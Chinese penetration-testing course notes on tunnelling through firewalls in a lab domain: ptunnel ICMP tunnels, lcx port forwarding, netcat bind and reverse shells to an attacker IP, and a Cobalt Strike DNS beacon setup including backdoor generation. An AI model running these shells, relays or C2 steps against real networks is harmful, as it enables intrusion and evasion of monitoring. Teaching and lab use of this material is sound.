必备知识点:
1.代理和隧道技术区别?
代理只是为了解决网络通信问题,有些内网访问不到,可以用代理实现
隧道不仅是解决网络的通信问题,同时更大的作用是被防火墙甚至入侵检测系统进行拦截的东西的突破。
2.隧道技术为了解决什么?
3.隧道技术前期的必备条件?
应用场景是你已经获得控制权但是你不能对控制的东西进行信息收集,很多不方便的操作等
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等(隧道技术能解决)
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
演示案例:
• 网络传输应用层检测连通性-检测
• 网络层ICMP隧道Ptunnel使用-检测,利用
• 传输层转发隧道Portmap使用-检测,利用
• 传输层转发隧道Netcat使用-检测,利用,功能
• 应用层DNS隧道配合CS上线-检测,利用,说明
案例1-网络传输应用层检测连通性-检测
- TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <端口> - HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息 - ICMP 协议
用“ping”命令,执行ping <IP地址/域名> - DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
隧道有各种层面,每个层面你要确定这个层面是否是支持的
比如想搞一个ICMP的隧道,这个时候你要去检测它支不支持ICMP隧道的开启
现在就要应用ping命令去ping地址,看能不能正常通信,如果能的话就可以如果要检测DNS就可以用nslookup和dig看命令是不是能正常对数据的回连,就说明职场这个协议的传输,这个协议就可以向外部发送,这个协议是正常的,才可以用这个隧道。在用隧道之前要先探测对应隧道协议是否支持,如果不支持,用这个隧道也没有任何意义!
案例2-网络层ICMP隧道ptunnel使用-检测,利用
网上都是老牌工具ptunnel(几年前就没有更新了),不推荐使用,推荐pingtunnel
我们要通过web主机实现对DC的控制,但是DC上面有防护的一些策略
这个时候,用ICMP协议看它是否支持,然后再测试(√)下面要实现用hacker xiaodi去连接DC,假设已知DC的账号密码,我希望通过我的计算机连接到DC的3389,现在76.x是不可能去连接到33.33这台计算机的(可以在kali输入命令:rdesktop 192.168.33.33,连接不上),因为他们不在一个网段
hacker xiaodi不在192.168.33网段,是不能连接DC的。现在我要实现请求连接DC的3389端口:先连接到192.168.76.150(webserver的外网接口)上面 ,我通过hackerxiaodi连接webserver,借助33这块网卡连接DC的33.33
./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
上面命令的意思是请求192.168.76.150(webserver),请求到之后,自己监听一下本地的1080,然后将33.33的3389数据,给到本地的1080.然后就直接利用rdesktop连接本地的1080实质就是连接33.33
kali2020-Target2-Target3
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具(为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!)
-p ## 表示连接icmp隧道另一端的机器IP(即目标服务器)
-lp ## 表示需要监听的本地tcp端口
-da ## 指定需要转发的机器的IP(即目标内网某一机器的内网IP)
-dp ## 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ## 设置连接的密码
命令:
Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的3389请求数据给本地1080(去连接76.150,然后将76.150去访问33.33,将33.33的数据流量给到请求段的1080)
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
案例3-传输层转发隧道Portmap使用-检测,利用
传输层端口转发
工具:
windows: lcx
linux:portmap
lcx是一个端口转发工具,通过端口转发的形式,将内网服务器的某一个端口映射到公网另一台服务器的一个端口上去!
远程服务器win10使用 lcx -listen 51 3399(在win10上开放51端口,把所有访问51的流量全部扔到3399上面去)
windows2003靶机执行 lcx -slave 192.168.3.60 51 127.0.0.1 3389(把本地3389的流量转发到192.168.3.60的51端口)51端口就是中转端口,3399是出口端口,3389是入口端口最后在win10上使用mstsc——》127.0.0.1:3399
lcx -slave 攻击IP 3131 127.0.0.1 3389 //将本地3389给攻击IP的3131
lcx -listen 3131 3333 //监听3131转发至3333
演示:
自己的攻击机和webserver有一个外网接口,如果我要连接域控上面的3389或者是SqlServer上面的3389。现在就要用到端口转发!
假设已经取得DC权限,端口转发:
DC上面:lcx.exe -slave 192.168.3.31 6666 127.0.0.1 3389 (将DC端口上的数据给到3.31 给 6666端口,再将自己127.0.0.1本地的3389给出去) #将本地的3389数据给到3.31的6666端口
webserver:lcx.exe -listen 6666 7777 #监听本地的6666 然后给到7777
现在可以通过kali攻击机去连接webserver的7777:
kali攻击机:rdesktop 192.168.76.143:7777
案例4-传输层转发隧道Netcat使用-检测,利用,功能
Kali2020-god\webserver-god\sqlserver|dc
Netcat可以跟我们的攻击时时挂钩!
nc命令复习:
netcat工具是windows和linux都能利用,但是用的时候一定要确保nc是最新版,linux是自带这个命令,老版本有的不支持-e这个选项,很多功能会有限制。
netcat称为瑞士军刀的原因就是它利用起来非常方便,反弹会话是有很多方式的,可以利用多种协议去实现控制,因为我们在实战过程中会有很多协议被封住被拦截,所以我们要掌握很多种控制的协议,实战中就不会掉链子!
1.双向连接反弹shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh #linux(就是把linux的shell会话反弹给1234端口)
nc -ldp 1234 -e c:\windows\system32\cmd.exe #windows(把cmd反弹给1234端口)
攻击:nc 192.168.76.132 1234 //主动连接
反向:受害连接攻击
攻击:nc -lvp 1234 # 攻击主机去监听自己的1234
受害:nc 攻击主机IP 1234 -e /bin/sh
nc 攻击主机IP 1234 -e c:\windows\system32\cmd.exe
演示(正向:攻击连接受害):
在2008R2 DC god.org上面执行 nc -ldp 1234 -e c:\windows\system32\cmd.exe,把自身的cmd界面反弹到1234端口,然后攻击主机2008R2 x64 webserver直接利用nc连接192.168.3.21的1234(命令:nc 192.168.3.21 1234)后直接反弹了一个会话:
演示(反向:受害连接攻击):
nc -lvp 1234 # 攻击主机2008R2 x64 webserver去监听自己的1234
然后受害主机主动把数据发给他:nc 192.168.3.31 1234 -e c:\windows\system32\cmd.exe
回到攻击主机webserver:这个就是反向!
什么时候用正向,什么时候用反向,这是根据网络情况,比如说受害主机可以找到你,你就用反向,受害主机找不到你,你就用正向。
2.多向连接反弹shell-配合转发
实现kali控制3.32(SqlServer):
反向:
god\Webserver(3.31):Lcx.exe -listen 2222 3333 #监听自己的2222端口,然后给到3333端口
god\Sqlserver(3.32):nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe # 主动把自己的cmd给到3.31的2222端口
kali(76.143)或本机:nc -v 192.168.76.143 3333 #连接webserver上面的接口76网段
正向该怎么操作呢?实战中改怎么选择正向和反向?
演示:
在webserver上面执行:Lcx.exe -listen 2222 3333 #监听自己的2222端口,然后给到3333端口
在SqlServer上面执行:nc 192.168.3.31 2222 c:\windows\system32\cmd.exe(把自己的cmd给3.31的2222端口)
这时候kali:nc 192.168.76.143 3333(76.143是webserver的另外一个接口)这就实现控制了3.32,这就是一个典型的端口反弹即会话
nc走的是tcp协议,对方如果没有过滤tcp协议,就可以用nc实现与控制主机的通信来实现控制!
3.相关netcat主要功能测试(非常好用)
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell:见上
案例5-应用层DNS隧道配合CS上线-检测,利用,说明
应用层是在实战中经常用到的,之前两个层面会经常被防火墙拦截(网络/传输层),下面用DNS隧道来实现 cs上线
我们在生成监听器的时候有个payload:
常规是用http上线,dns比http速度要慢,(下载cs插件还会多几个协议出来)
当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀
dns是域名解析用的,这个协议一般都不会被拦截,数据通过dns协议给出去,一般不会被拦截!
1.云主机Teamserver配置端口53启用-udp
2.买一个域名修改解析记录如下:
A记录->cs主机名->CS服务器IP
NS记录->ns1主机名->上个A记录地址
NS记录->ns2主机名->上个A记录地址
3.配置DNS监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
监听器启动起来之后,就如下图:
这个时候生成后门:attacks——packages——windows executable(s)——listener选择dns上线——选择后门生成位置(dns_x.exe)
复制到2008r2 x64 webserver,执行:
cs界面出现一个黑框框:
dns上线就是这个情况(unknown),因为它是dns上线,有一个问题就是速度特别慢,与此同时你还要敲几条命令才能实现控制:
点击interact输入下面命令
4.生成后门执行上线后启用命令:
beacon> checkin
[] Tasked beacon to checkin
beacon> mode dns-txt(等个20s,和当前网络环境有关)
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes
beacon> shell whoami
[] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:
xiaodi-pc\xiaodi
电脑上面有一条闪电,说明电脑上面是有一些防护的!
隧道就是以前通信走的协议,通过隧道之后可以变换另外一种协议出来,和我们木马上线一样。
之前是http协议上线,上线不了就可以换dns协议上线!网上还有插件,还可以有很多协议。都是解决通信被拦截的问题!
隧道技术其实就是不断变换协议,走不同协议来实现数据通信!!!
涉及资源:
https://github.com/f1vefour/ptunnel
https://github.com/esrrhs/pingtunnel
https://github.com/MrAnonymous-1/lcx
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao